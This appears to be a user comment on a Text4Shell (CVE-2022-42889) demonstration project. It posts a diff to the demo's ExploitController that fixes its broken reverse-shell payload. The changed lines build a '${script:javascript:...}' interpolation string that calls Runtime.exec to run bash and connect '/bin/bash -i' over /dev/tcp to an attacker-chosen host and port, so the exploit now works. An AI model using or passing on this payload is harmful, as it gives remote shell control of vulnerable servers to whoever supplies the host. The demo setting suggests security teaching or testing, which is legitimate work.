Love this simple and excellent demo. However, the reverse shell part doesn't work.
To get it to work, I had to change the code to:

diff --git a/src/main/java/net/kvak/text4shell/controller/ExploitController.java b/src/main/java/net/kvak/text4shell/controller/ExploitController.java
index c5d676f..aa89fb1 100644
--- a/src/main/java/net/kvak/text4shell/controller/ExploitController.java
+++ b/src/main/java/net/kvak/text4shell/controller/ExploitController.java
@@ -34,9 +34,9 @@ public class ExploitController {
sb.append("}");
break;
case 4:

•            sb.append("${script:javascript:java.lang.Runtime.getRuntime().exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/");
  

•            sb.append("${script:javascript:java.lang.Runtime.getRuntime().exec(['/bin/bash', '-c', '/bin/bash -i >& /dev/tcp/");
             sb.append(remoteHost + "/" + remotePort);
  

•            sb.append(" <&1\"')}");
  

•            sb.append(" <&1'])}");
             break;